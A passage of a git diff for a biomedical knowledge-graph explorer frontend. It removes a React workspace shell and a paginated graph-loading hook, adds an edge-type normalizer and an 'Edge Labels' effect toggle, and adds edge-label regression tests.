padding: 14px; display: flex; flex-direction: column; gap: 12px; } - .graph-status-label { display: inline-flex; align-items: center; gap: 8px; color: rgba(160, 191, 223, 0.88); font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; } - .graph-status-label::before { content: ""; width: 7px; height: 7px; border-radius: 999px; background: linear-gradient(135deg, #8ed3ff, #ffb36a); box-shadow: 0 0 12px rgba(142, 211, 255, 0.5); } - .graph-status-title { color: #eef5ff; font-size: 20px; font-weight: 800; letter-spacing: -0.04em; margin-bottom: 6px; } - .graph-status-copy { color: #8fa8c6; font-size: 12px; line-height: 1.55; margin-bottom: 14px; max-width: 40ch; } - .graph-status-metrics, .graph-command-row, .graph-toggle-cluster, .graph-action-cluster { display: flex; gap: 8px; flex-wrap: wrap; } - .graph-command-row { justify-content: space-between; align-items: center; gap: 10px; } - .graph-search-shell { flex: 1; min-width: 260px; display: flex; align-items: center; gap: 10px; padding: 8px 10px 8px 14px; border-radius: 18px; border: 1px solid rgba(132, 197, 255, 0.12); background: rgba(0, 0, 0, 0.18); box-shadow: inset 0 1px 0 rgba(255,255,255,0.03); } - .graph-search-shell input { flex: 1; min-width: 0; border: none !important; background: transparent !important; padding: 0 !important; margin: 0 !important; } - .graph-search-shell input:focus { outline: none; } - .graph-search-results { position: absolute; top: 120px; right: 18px; width: min(420px, calc(100vw - 132px)); max-height: 320px; overflow-y: auto; padding: 12px; border-radius: 20px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.94), rgba(10, 21, 38, 0.86)); box-shadow: 0 18px 50px rgba(0,0,0,0.34); backdrop-filter: blur(18px); pointer-events: auto; z-index: 11; } - .graph-search-results-label { color: #6f89ab; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; } - .graph-search-result-card { width: 100%; text-align: left; padding: 12px 14px; border-radius: 16px; border: 1px solid rgba(132, 197, 255, 0.08); background: rgba(255, 255, 255, 0.025); cursor: pointer; transition: transform 160ms ease, border-color 160ms ease, background 160ms ease; } - .graph-search-result-card:hover { transform: translateY(-1px); border-color: rgba(132, 197, 255, 0.18); background: rgba(103, 182, 255, 0.08); } - .graph-inspector { pointer-events: auto; position: absolute; right: 18px; top: 154px; bottom: 108px; width: 380px; overflow-y: auto; transition: transform 0.34s cubic-bezier(0.16,1,0.3,1), opacity 0.22s ease; border-radius: 28px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.9), rgba(6, 12, 22, 0.88)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 40%); box-shadow: -18px 0 48px rgba(0, 0, 0, 0.32), inset 0 1px 0 rgba(255,255,255,0.04); backdrop-filter: blur(20px); } - .graph-inspector[data-open='false'] { transform: translateX(calc(100% + 24px)); opacity: 0; } - @keyframes sem-loader-pulse { - 0%, 100% { transform: translateY(0) scale(0.92); opacity: 0.55; } - 50% { transform: translateY(-4px) scale(1.08); opacity: 1; } - } - @media (max-width: 1220px) { - .graph-shell-top { flex-direction: column; align-items: stretch; } - .graph-status-card, .graph-command-card { width: auto; } - .graph-search-results { top: 202px; right: 18px; left: 18px; width: auto; } - } -`; - -function useDebounce(value: T, delay: number): T { - const [debouncedValue, setDebouncedValue] = useState(value); - useEffect(() => { - const timeout = setTimeout(() => setDebouncedValue(value), delay); - return () => clearTimeout(timeout); - }, [delay, value]); - return debouncedValue; -} - -function sourceAttribution(properties: Record) { - const keys = ["source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"]; - return keys - .filter((key) => key in properties) - .map((key) => ({ key, value: properties[key] })); -} - -function toSelectedNodeState(node: ApiNode, neighborCount: number, fallbackColor = "#58a6ff"): GraphSelectedNodeState { - return { - id: node.id, - label: node.content || node.id, - content: node.content || node.id, - nodeType: node.type, - color: fallbackColor, - valid_from: node.valid_from ?? null, - valid_until: node.valid_until ?? null, - properties: node.properties ?? {}, - neighborCount, - visibleNeighborCount: neighborCount, - collapsedNeighborCount: 0, - isNeighborhoodCollapsed: false, - canCollapseNeighborhood: neighborCount > 8, - }; -} - -function TimelineFallback({ min, max }: TemporalBounds) { - return ( -
- Temporal scrubber - {min || max ? "Preparing timeline runtime..." : "Temporal bounds loading..."} -
- ); -} - -function NodePanel({ - node, - predictions, - predictionType, - onPredictionTypeChange, - onRunPredictions, - pathTargetId, - onPathTargetChange, - onTracePath, - pathResult, - onDownloadProvenance, -}: { - node: GraphSelectedNodeState | null; - predictions: LinkPrediction[]; - predictionType: string; - onPredictionTypeChange: (value: string) => void; - onRunPredictions: () => void; - pathTargetId: string; - onPathTargetChange: (value: string) => void; - onTracePath: () => void; - pathResult: PathResponse | null; - onDownloadProvenance: (format: "json" | "markdown") => void; -}) { - if (!node) { - return ( -
-

- Search for a node or click one in the canvas to inspect its properties. -

-
- ); - } - - const properties = node.properties ?? {}; - const attribution = sourceAttribution(properties); - const accentColor = node.color || "#58a6ff"; - const propertyEntries = Object.entries(properties).filter(([key]) => !["x", "y", "valid_from", "valid_until", "content", "source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"].includes(key)); - - return ( - - ); -} - -export function GraphWorkspaceShell() { - const [selectedNodeId, setSelectedNodeId] = useState(""); - const [selectedNodeState, setSelectedNodeState] = useState(null); - const [isLayoutRunning, setIsLayoutRunning] = useState(false); - const [viewMode, setViewMode] = useState("full"); - const [searchQuery, setSearchQuery] = useState(""); - const [searchResults, setSearchResults] = useState([]); - const [searchError, setSearchError] = useState(""); - const [predictionType, setPredictionType] = useState(""); - const [predictions, setPredictions] = useState([]); - const [pathTargetId, setPathTargetId] = useState(""); - const [pathResult, setPathResult] = useState(null); - const [activeNodeCount, setActiveNodeCount] = useState(null); - const [temporalBounds, setTemporalBounds] = useState(null); - const [scrubberTime, setScrubberTime] = useState(null); - // Deduplicates setScrubberTime calls by millisecond value — same fix as - // GraphWorkspace.tsx (issue #830). - const lastScrubberMsRef = useRef(null); - const onTimeChange = useCallback((time: Date) => { - const ms = time.getTime(); - if (ms === lastScrubberMsRef.current) { - return; - } - lastScrubberMsRef.current = ms; - setScrubberTime(time); - }, []); - const [loadingProgress, setLoadingProgress] = useState(null); - const [isGraphStageReady, setIsGraphStageReady] = useState(false); - const [layoutStatus, setLayoutStatus] = useState({ - state: "idle", - source: "runtime", - hasCoordinates: false, - layoutReady: false, - displacement: null, - elapsedMs: 0, - stableSamples: 0, - }); - - const debouncedTime = useDebounce(scrubberTime, 150); - const stageRef = useRef(null); - const reload = useReloadGraphData(); - const { data: snapshot, isLoading, isFetching, isError, error } = useGraphData({ enabled: true, onProgress: setLoadingProgress }); - - const handleSelectedNodeStateChange = useCallback((state: GraphSelectedNodeState | null) => { - setSelectedNodeState(state); - }, []); - - const handleLayoutRunningChange = useCallback((running: boolean) => { - setIsLayoutRunning(running); - }, []); - - const handleActiveNodeCountChange = useCallback((count: number | null) => { - setActiveNodeCount(count); - }, []); - - const handleProgressChange = useCallback((progress: GraphLoadProgress | null) => { - setLoadingProgress(progress); - }, []); - - const handleRuntimeReady = useCallback(() => { - setIsGraphStageReady(true); - }, []); - - const handleLayoutStatusChange = useCallback((status: GraphLayoutStatus) => { - setLayoutStatus(status); - if (status.layoutReady) { - setLoadingProgress(null); - } - }, []); - - const [prevFetchedAt, setPrevFetchedAt] = useState(snapshot?.fetchedAt); - if (snapshot?.fetchedAt !== prevFetchedAt) { - setPrevFetchedAt(snapshot?.fetchedAt); - if (snapshot) { - setIsGraphStageReady(false); - setActiveNodeCount(null); - setLayoutStatus({ - state: snapshot.summary.layoutReady ? "interactive" : "idle", - source: snapshot.summary.layoutSource ?? "runtime", - hasCoordinates: snapshot.summary.hasCoordinates ?? false, - layoutReady: snapshot.summary.layoutReady ?? false, - displacement: null, - elapsedMs: 0, - stableSamples: 0, - }); - } - } - - useEffect(() => { - let cancelled = false; - const loadBounds = async () => { - try { - const response = await fetch("/api/temporal/bounds"); - if (!response.ok || cancelled) return; - const data: TemporalBounds = await response.json(); - if (!cancelled) setTemporalBounds(data); - } catch { - if (!cancelled) setTemporalBounds(null); - } - }; - void loadBounds(); - return () => { - cancelled = true; - }; - }, [snapshot?.summary.nodeCount, snapshot?.summary.edgeCount]); - - const neighborCountMap = useMemo(() => { - const map = new Map(); - if (!snapshot) return map; - for (const node of snapshot.nodes) map.set(node.id, 0); - for (const edge of snapshot.edges) { - map.set(edge.source, (map.get(edge.source) ?? 0) + 1); - map.set(edge.target, (map.get(edge.target) ?? 0) + 1); - } - return map; - }, [snapshot]); - - const visibleSelectedNode = useMemo(() => { - if (!selectedNodeId) return null; - if (selectedNodeState?.id === selectedNodeId) return selectedNodeState; - const snapshotNode = snapshot?.nodes.find((candidate) => candidate.id === selectedNodeId); - if (snapshotNode) return toSelectedNodeState(snapshotNode, neighborCountMap.get(snapshotNode.id) ?? 0); - const searchNode = searchResults.find((candidate) => candidate.node.id === selectedNodeId)?.node; - return searchNode - ? { - id: searchNode.id, - label: searchNode.content || searchNode.id, - content: searchNode.content || searchNode.id, - nodeType: searchNode.type, - color: "#58a6ff", - valid_from: null, - valid_until: null, - properties: searchNode.properties ?? {}, - neighborCount: 0, - visibleNeighborCount: 0, - collapsedNeighborCount: 0, - isNeighborhoodCollapsed: false, - canCollapseNeighborhood: false, - } - : null; - }, [neighborCountMap, searchResults, selectedNodeId, selectedNodeState, snapshot]); - - const focusNode = useCallback((nodeId: string) => { - setSelectedNodeId(nodeId); - setPathResult(null); - - if (!nodeId) { - setSelectedNodeState(null); - setPredictions([]); - return; - } - - setSearchResults([]); - setIsLayoutRunning(false); - }, []); - - const handleSearch = useCallback(async () => { - if (!searchQuery.trim()) { - setSearchResults([]); - return; - } - - setSearchError(""); - try { - const response = await fetch("/api/graph/search", { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ query: searchQuery, limit: 8 }), - }); - if (!response.ok) { - throw new Error(`Search failed with status ${response.status}`); - } - - const data = await response.json(); - setSearchResults(data.results || []); - if (data.results?.length) { - focusNode(data.results[0].node.id); - } - } catch (searchFetchError) { - setSearchError(searchFetchError instanceof Error ? searchFetchError.message : "Search failed"); - } - }, [focusNode, searchQuery]); - - const handleRunPredictions = useCallback(async () => { - if (!selectedNodeId) return; - - try { - const response = await fetch("/api/enrich/links", { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ - node_id: selectedNodeId, - top_n: 6, - candidate_type: predictionType || undefined, - min_score: 0, - }), - }); - if (!response.ok) { - throw new Error(`Link prediction failed with status ${response.status}`); - } - - const data = await response.json(); - setPredictions(data.predictions || []); - } catch (predictionError) { - console.error("[GraphWorkspaceShell] prediction failed", predictionError); - setPredictions([]); - } - }, [predictionType, selectedNodeId]); - - const handleTracePath = useCallback(async () => { - if (!selectedNodeId || !pathTargetId.trim()) return; - - try { - const pathParams = new URLSearchParams({ - source: selectedNodeId, - target: pathTargetId.trim(), - algorithm: "dijkstra", - }); - const response = await fetch( - `/api/graph/path?${pathParams.toString()}`, - ); - if (!response.ok) { - throw new Error(`Path lookup failed with status ${response.status}`); - } - - const data: PathResponse = await response.json(); - setPathResult(data); - if (data.path?.length) { - const lastStep = data.path[data.path.length - 1]; - stageRef.current?.focusNode(lastStep); - } - } catch (pathError) { - console.error("[GraphWorkspaceShell] path trace failed", pathError); - setPathResult(null); - } - }, [pathTargetId, selectedNodeId]); - - const handleDownloadProvenance = useCallback(async (format: "json" | "markdown") => { - if (!selectedNodeId) return; - - const suffix = format === "markdown" ? "markdown" : "json"; - const response = await fetch(`/api/provenance/report?node_id=${encodeURIComponent(selectedNodeId)}&format=${suffix}`); - if (!response.ok) { - throw new Error(`Provenance report failed with status ${response.status}`); - } - - const blob = await response.blob(); - const url = window.URL.createObjectURL(blob); - const anchor = document.createElement("a"); - anchor.href = url; - anchor.download = `${selectedNodeId}_provenance.${format === "markdown" ? "md" : "json"}`; - document.body.appendChild(anchor); - anchor.click(); - window.URL.revokeObjectURL(url); - document.body.removeChild(anchor); - }, [selectedNodeId]); - - const searchSummary = useMemo(() => { - if (!searchResults.length) return null; - return `${searchResults.length} search result${searchResults.length === 1 ? "" : "s"}`; - }, [searchResults.length]); - - const focusedSummary = useMemo(() => { - if (!visibleSelectedNode) return null; - if (viewMode === "focused") { - const visibleNeighbors = Math.min(visibleSelectedNode.neighborCount, 16); - return `${visibleNeighbors + 1} nodes in focused view`; - } - return `${visibleSelectedNode.neighborCount} direct neighbors highlighted`; - }, [viewMode, visibleSelectedNode]); - - const requestViewMode = useCallback((nextViewMode: GraphViewMode) => { - if (nextViewMode === "focused") { - if (!selectedNodeId) { - return; - } - setViewMode("focused"); - setIsLayoutRunning(false); - return; - } - - setViewMode("full"); - }, [selectedNodeId]); - - const showLoadingOverlay = - isLoading - || isFetching - || !isGraphStageReady - || (layoutStatus.source === "runtime" && !layoutStatus.layoutReady && !selectedNodeId && viewMode === "full"); - - const layoutStatusLabel = useMemo(() => { - if (layoutStatus.source === "provided" && layoutStatus.layoutReady) return "Persisted layout"; - if (layoutStatus.source === "carried" && layoutStatus.layoutReady) return "Preserved layout"; - if (layoutStatus.state === "bootstrapping") return "Bootstrapping layout"; - if (layoutStatus.state === "running") return "Stabilizing layout"; - if (layoutStatus.state === "failed") return "Layout timeout fallback"; - return null; - }, [layoutStatus]); - - return ( -
- -
-
- -
- - - - -
- - }> - - - -
-
-
-
Graph Studio
-
{visibleSelectedNode ? visibleSelectedNode.label : "Knowledge Explorer"}
-
- {showLoadingOverlay && loadingProgress ? {getGraphLoadTitle(loadingProgress.phase)} : null} - {layoutStatusLabel ? {layoutStatusLabel} : null} - {snapshot ? {snapshot.summary.nodeCount.toLocaleString()} nodes · {snapshot.summary.edgeCount.toLocaleString()} edges : null} - {activeNodeCount !== null ? {activeNodeCount.toLocaleString()} active : null} - {searchSummary ? {searchSummary} : null} - {focusedSummary ? {focusedSummary} : null} - {isError ? {(error as Error).message} : null} -
-
- -
-
-
- {selectedNodeId ? ( - <> - - - - ) : ( - Select a node to switch graph views - )} -
- -
- - -
-
- -
-
- setSearchQuery(event.target.value)} - onKeyDown={(event) => { - if (event.key === "Enter") { - void handleSearch(); - } - }} - placeholder="Search a node, e.g. Metformin" - style={{ ...inputStyle, minWidth: 260 }} - disabled={showLoadingOverlay && !selectedNodeId} - /> - -
-
-
-
- - {searchError ?
{searchError}
: null} - {searchResults.length ? ( -
-
Search Results
-
- {searchResults.map((result) => ( - - ))} -
-
- ) : null} - -
- void handleRunPredictions()} - pathTargetId={pathTargetId} - onPathTargetChange={setPathTargetId} - onTracePath={() => void handleTracePath()} - pathResult={pathResult} - onDownloadProvenance={(format) => void handleDownloadProvenance(format)} - /> -
-
-
- ); -} - -const metricPillStyle: CSSProperties = { - background: "rgba(88, 166, 255, 0.08)", - color: "#8ed3ff", - padding: "6px 11px", - borderRadius: 999, - fontSize: 12, - fontWeight: 700, - border: "1px solid rgba(88, 166, 255, 0.14)", -}; - -const sectionStyle: CSSProperties = { - display: "flex", - flexDirection: "column", - gap: 10, - padding: 14, - background: "linear-gradient(180deg, rgba(255,255,255,0.025), rgba(255,255,255,0.01))", - border: "1px solid rgba(255, 255, 255, 0.06)", - borderRadius: 16, -}; - -const sectionTitleStyle: CSSProperties = { - color: "#8fa8c6", - fontSize: 11, - fontWeight: 800, - textTransform: "uppercase", - letterSpacing: "0.08em", -}; - -const inputStyle: CSSProperties = { - width: "100%", - background: "rgba(0, 0, 0, 0.24)", - border: "1px solid rgba(88, 166, 255, 0.14)", - color: "#fff", - borderRadius: 12, - padding: "10px 12px", - fontSize: 13, -}; - -const actionButtonStyle: CSSProperties = { - background: "linear-gradient(180deg, rgba(53, 130, 245, 0.28), rgba(25, 88, 185, 0.18))", - color: "#fff", - border: "1px solid rgba(88, 166, 255, 0.2)", - borderRadius: 12, - padding: "10px 13px", - cursor: "pointer", - fontWeight: 700, - fontSize: 12, - display: "inline-flex", - alignItems: "center", - justifyContent: "center", - boxShadow: "inset 0 1px 0 rgba(255,255,255,0.05)", -}; - -const secondaryActionButtonStyle: CSSProperties = { - ...actionButtonStyle, - background: "rgba(255, 255, 255, 0.035)", - border: "1px solid rgba(255, 255, 255, 0.06)", - color: "#d6e5f8", - fontWeight: 500, -}; - -const predictionCardStyle: CSSProperties = { - textAlign: "left", - padding: 12, - background: "rgba(88, 166, 255, 0.06)", - border: "1px solid rgba(88, 166, 255, 0.1)", - borderRadius: 14, - cursor: "pointer", -}; - -const pathStepStyle: CSSProperties = { - color: "#e6edf3", - fontSize: 13, - padding: "8px 10px", - background: "rgba(255, 255, 255, 0.03)", - borderRadius: 8, -}; - -const propertyCardStyle: CSSProperties = { - background: "rgba(0, 0, 0, 0.18)", - padding: "10px 12px", - borderRadius: 12, - border: "1px solid rgba(255, 255, 255, 0.05)", -}; - -const emptyTextStyle: CSSProperties = { - color: "#8b949e", - fontSize: 12, - lineHeight: 1.5, -}; - -const subtleChipStyle: CSSProperties = { - background: "rgba(255, 255, 255, 0.035)", - color: "#9fb6d2", - padding: "5px 9px", - borderRadius: 999, - fontSize: 11, - border: "1px solid rgba(255, 255, 255, 0.06)", -}; - -const collapseStyle: CSSProperties = { - border: "1px solid rgba(255, 255, 255, 0.05)", - borderRadius: 14, - background: "rgba(0, 0, 0, 0.14)", - overflow: "hidden", -}; - -const summaryStyle: CSSProperties = { - cursor: "pointer", - listStyle: "none", - padding: "12px 14px", - color: "#c6d4e3", - fontSize: 12, - fontWeight: 700, - letterSpacing: "0.04em", - textTransform: "uppercase", -}; diff --git a/explorer/src/workspaces/GraphWorkspace/graphSceneState.ts b/explorer/src/workspaces/GraphWorkspace/graphSceneState.ts index a6ae7b7c..5fa0d766 100644 --- a/explorer/src/workspaces/GraphWorkspace/graphSceneState.ts +++ b/explorer/src/workspaces/GraphWorkspace/graphSceneState.ts @@ -2099,6 +2099,15 @@ function createCollapsedNeighborhoodGraph( return collapsedGraph; } +// Normalize an edge relationship type: empty string, null, and undefined all +// fall back to the project-wide default used consistently across every +// aggregation path. Keep this local — it exists only to guarantee that the +// three code paths (single-entry, multi-entry, community-grouped) produce the +// same semantics and do not diverge again. +function normalizeEdgeType(value: string | null | undefined): string { + return value || "related_to"; +} + function aggregateDisplayGraph(graphRef: GraphRef): Graph { const aggregated = new Graph({ type: "directed", @@ -2124,10 +2133,13 @@ function aggregateDisplayGraph(graphRef: GraphRef): Graph collectRawEdgeIds(attrs, edgeId)); const typeCounts = new Map(); entries.forEach(({ attrs }) => { - const edgeType = String(attrs.edgeType ?? "related_to"); + const edgeType = normalizeEdgeType(attrs.edgeType); typeCounts.set(edgeType, (typeCounts.get(edgeType) ?? 0) + 1); }); - const dominantEdgeType = [...typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0] ?? representative.attrs.edgeType ?? "related_to"; + const dominantEdgeType = [...typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0] + ?? normalizeEdgeType(representative.attrs.edgeType); const reverseKey = `${targetId}→${sourceId}`; const isBidirectionalBundle = groupedEdges.has(reverseKey); const syntheticEdgeId = `${AGGREGATED_EDGE_PREFIX}${sourceId}::${targetId}`; @@ -2167,10 +2180,10 @@ function aggregateDisplayGraph(graphRef: GraphRef): Graph right[1] - left[1])[0]?.[0] ?? "related_to"; + const dominantEdgeType = [...bundle.typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0] + ?? "related_to"; const reverseKey = `${bundle.targetId}→${bundle.sourceId}`; const syntheticEdgeId = `${AGGREGATED_EDGE_PREFIX}${key}`; const aggregateCount = bundle.rawEdgeIds.length; diff --git a/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPlugin.tsx b/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPlugin.tsx index 9f174358..4bae05d8 100644 --- a/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPlugin.tsx +++ b/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPlugin.tsx @@ -1,6 +1,7 @@ import type { CSSProperties } from "react"; import type { + GraphDiagnosticsSnapshot, GraphEffectAvailability, GraphEffectToggle, } from "../types"; @@ -30,6 +31,11 @@ const EFFECT_ROWS: EffectRowConfig[] = [ label: "Neighborhood Lens", description: "Local emphasis around the hovered or selected node.", }, + { + key: "edgeLabelsEnabled", + label: "Edge Labels", + description: "Draw the relationship type on graph edges. Off restores label-free edges on dense graphs.", + }, { key: "legendEnabled", label: "Semantic Legend", @@ -37,6 +43,17 @@ const EFFECT_ROWS: EffectRowConfig[] = [ }, ]; +// Maps the effect toggle keys rendered by this plugin to their corresponding +// availability keys in GraphDiagnosticsSnapshot["effectAvailability"]. Kept +// local because this plugin only renders a subset of all effects. +const EFFECT_AVAILABILITY_KEYS: Partial> = { + pathPulseEnabled: "pathPulse", + pathFlowEnabled: "pathFlow", + lensEnabled: "lens", + edgeLabelsEnabled: "edgeLabels", + legendEnabled: "legend", +}; + function renderAvailabilityText(availability: GraphEffectAvailability) { if (availability.available) { if (typeof availability.visibleSegments === "number" && typeof availability.segmentCap === "number") { @@ -139,15 +156,9 @@ export const explorationEffectsPlugin: GraphPlugin = { description={row.description} checked={effectsState[row.key]} availability={ - availability?.[ - row.key === "pathPulseEnabled" - ? "pathPulse" - : row.key === "pathFlowEnabled" - ? "pathFlow" - : row.key === "lensEnabled" - ? "lens" - : "legend" - ] ?? { + (EFFECT_AVAILABILITY_KEYS[row.key] !== undefined + ? availability?.[EFFECT_AVAILABILITY_KEYS[row.key]!] + : undefined) ?? { enabled: effectsState[row.key], available: false, reason: "Waiting for graph runtime", diff --git a/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPluginPhaseC.tsx b/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPluginPhaseC.tsx index 3fb936bb..d8427a7e 100644 --- a/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPluginPhaseC.tsx +++ b/explorer/src/workspaces/GraphWorkspace/plugins/explorationEffectsPluginPhaseC.tsx @@ -47,6 +47,11 @@ const SCENE_EFFECT_ROWS: EffectRowConfig[] = [ label: "Contours", description: "Low-contrast density halos around the strongest visible anchors.", }, + { + key: "edgeLabelsEnabled", + label: "Edge Labels", + description: "Draw the relationship type on graph edges. Off restores label-free edges on dense graphs.", + }, { key: "legendEnabled", label: "Regions Summary", @@ -83,6 +88,7 @@ const AVAILABILITY_KEYS: Record void, -): Promise { - let cursor: string | null = null; - const collected: ApiNode[] = []; - let total: number | null = null; - - while (true) { - const url = new URL("/api/graph/nodes", window.location.origin); - url.searchParams.set("limit", String(PAGE_LIMIT)); - if (cursor) { - url.searchParams.set("cursor", cursor); - } - - const response = await fetch(url.toString(), { signal }); - if (!response.ok) { - throw new Error(`Fetch failed: ${response.status}`); - } - - const data: NodeListResponse = await response.json(); - if (!data.nodes?.length) { - break; - } - - total = data.total ?? total; - collected.push(...data.nodes); - onProgress?.(createGraphLoadProgress({ - phase: "fetching_nodes", - progressKind: total ? "determinate" : "indeterminate", - loaded: collected.length, - total, - nodesLoaded: collected.length, - nodesTotal: total, - edgesLoaded: 0, - edgesTotal: null, - message: total - ? `Loading nodes ${collected.length.toLocaleString()} of ${total.toLocaleString()}` - : `Loading nodes ${collected.length.toLocaleString()}`, - })); - - if (!data.next_cursor) { - break; - } - cursor = data.next_cursor; - await yieldToMain(); - } - - return collected; -} - -async function fetchAllEdges( - signal: AbortSignal, - nodeIds: Set, - nodeProgress: { loaded: number; total: number | null }, - onProgress?: (progress: GraphLoadProgress) => void, -): Promise { - let cursor: string | null = null; - const collected: ApiEdge[] = []; - const seenEdgeIds = new Set(); - let total: number | null = null; - let warnedOverTotal = false; - - while (true) { - const url = new URL("/api/graph/edges", window.location.origin); - url.searchParams.set("limit", String(PAGE_LIMIT)); - if (cursor) { - url.searchParams.set("cursor", cursor); - } - - const response = await fetch(url.toString(), { signal }); - if (!response.ok) { - throw new Error(`Fetch failed: ${response.status}`); - } - - const data: EdgeListResponse = await response.json(); - if (!data.edges?.length) { - break; - } - - total = data.total ?? total; - const validEdges = data.edges.filter((edge) => { - if (!nodeIds.has(edge.source) || !nodeIds.has(edge.target)) { - return false; - } - if (seenEdgeIds.has(edge.id)) { - return false; - } - seenEdgeIds.add(edge.id); - return true; - }); - collected.push(...validEdges); - const safeLoaded = total ? Math.min(seenEdgeIds.size, total) : seenEdgeIds.size; - if (!warnedOverTotal && total !== null && seenEdgeIds.size > total) { - warnedOverTotal = true; - console.warn("[graph-runtime] edge pagination returned more unique edge ids than total", { - uniqueEdgesLoaded: seenEdgeIds.size, - total, - }); - } - onProgress?.(createGraphLoadProgress({ - phase: "fetching_edges", - progressKind: total ? "determinate" : "indeterminate", - loaded: safeLoaded, - total, - nodesLoaded: nodeProgress.loaded, - nodesTotal: nodeProgress.total, - edgesLoaded: safeLoaded, - edgesTotal: total, - message: total - ? `Loading edges ${safeLoaded.toLocaleString()} of ${total.toLocaleString()}` - : `Loading edges ${safeLoaded.toLocaleString()}`, - })); - - if (!data.next_cursor) { - break; - } - cursor = data.next_cursor; - await yieldToMain(); - } - - return collected; -} - -function yieldToMain(): Promise { - if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise } }).scheduler?.yield === "function") { - return (window as Window & { scheduler: { yield: () => Promise } }).scheduler.yield(); - } - return new Promise((resolve) => setTimeout(resolve, 0)); -} - -function hasUsableCoordinate(value: number | null | undefined): value is number { - return typeof value === "number" && Number.isFinite(value); -} - -interface UseGraphDataOptions { - enabled?: boolean; - onProgress?: (progress: GraphLoadProgress) => void; -} - -export function useGraphData(options: UseGraphDataOptions = {}) { - const { enabled = true, onProgress } = options; - - return useQuery({ - queryKey: ["graph", "runtime-snapshot"], - enabled, - staleTime: Infinity, - queryFn: async ({ signal }): Promise => { - const startedAt = performance.now(); - onProgress?.(createGraphLoadProgress({ - phase: "bootstrapping", - progressKind: "indeterminate", - nodesLoaded: 0, - nodesTotal: null, - edgesLoaded: 0, - edgesTotal: null, - message: "Preparing graph session", - })); - - const nodes = await fetchAllNodes(signal, onProgress); - const nodeIds = new Set(nodes.map((node) => node.id)); - const edges = await fetchAllEdges( - signal, - nodeIds, - { loaded: nodes.length, total: nodes.length }, - onProgress, - ); - - onProgress?.(createGraphLoadProgress({ - phase: "hydrating_scene", - progressKind: "indeterminate", - nodesLoaded: nodes.length, - nodesTotal: nodes.length, - edgesLoaded: edges.length, - edgesTotal: edges.length, - message: "Preparing graph runtime snapshot", - })); - - return { - nodes, - edges, - summary: { - nodeCount: nodes.length, - edgeCount: edges.length, - loadTimeMs: Math.round(performance.now() - startedAt), - hasCoordinates: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)), - layoutSource: (nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) - ? "provided" - : "runtime") as GraphLayoutSource, - layoutReady: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)), - }, - fetchedAt: Date.now(), - }; - }, - }); -} - -export function useReloadGraphData() { - const queryClient = useQueryClient(); - return () => queryClient.invalidateQueries({ queryKey: ["graph", "runtime-snapshot"] }); -} diff --git a/explorer/tests/graphSceneState.display.test.ts b/explorer/tests/graphSceneState.display.test.ts index 6794cafc..6621ba86 100644 --- a/explorer/tests/graphSceneState.display.test.ts +++ b/explorer/tests/graphSceneState.display.test.ts @@ -1061,3 +1061,198 @@ test("checkGroupedViewAvailability returns available when communities exist", () assert.equal(result.reason, null); }); + +// ── #1009: edge label data-path regression tests ───────────────────────────── + +test("resolveDisplayGraph parallel-bundle preserves edgeType on aggregated edge", () => { + addNode("a"); + addNode("b"); + batchMergeEdges([ + { id: "e1", source: "a", target: "b", attributes: { edgeType: "causes", weight: 1, properties: {} } }, + { id: "e2", source: "a", target: "b", attributes: { edgeType: "causes", weight: 2, properties: {} } }, + ]); + + const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true }); + assert.equal(displayGraph.size, 1); + + const edgeId = displayGraph.edges()[0]; + const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string; isAggregated?: boolean }; + assert.equal(attrs.isAggregated, true); + // The aggregated representative must carry the relationship text through to + // the edgeReducer's label assignment. + assert.equal(typeof attrs.edgeType, "string"); + assert.ok((attrs.edgeType ?? "").length > 0, "aggregated edge must have a non-empty edgeType"); +}); + +test("resolveDisplayGraph parallel-bundle picks dominant edgeType across mixed types", () => { + addNode("a"); + addNode("b"); + batchMergeEdges([ + { id: "e1", source: "a", target: "b", attributes: { edgeType: "inhibits", weight: 1, properties: {} } }, + { id: "e2", source: "a", target: "b", attributes: { edgeType: "inhibits", weight: 1, properties: {} } }, + { id: "e3", source: "a", target: "b", attributes: { edgeType: "activates", weight: 1, properties: {} } }, + ]); + + const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true }); + const edgeId = displayGraph.edges()[0]; + const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string; dominantEdgeType?: string }; + // "inhibits" appears twice so it must be the dominant type. + assert.equal(attrs.edgeType, "inhibits"); + assert.equal(attrs.dominantEdgeType, "inhibits"); +}); + +test("resolveDisplayGraph grouped view community edges carry non-empty edgeType", () => { + const left = ["g1", "g2", "g3", "g4"]; + const right = ["h1", "h2", "h3", "h4"]; + [...left, ...right].forEach((nodeId, index) => addNode(nodeId, index < left.length ? "left" : "right")); + + let edgeIndex = 0; + for (let i = 0; i < left.length; i += 1) { + for (let j = 0; j < left.length; j += 1) { + if (i !== j) { + batchMergeEdges([{ + id: `lg-${edgeIndex++}`, + source: left[i], + target: left[j], + attributes: { 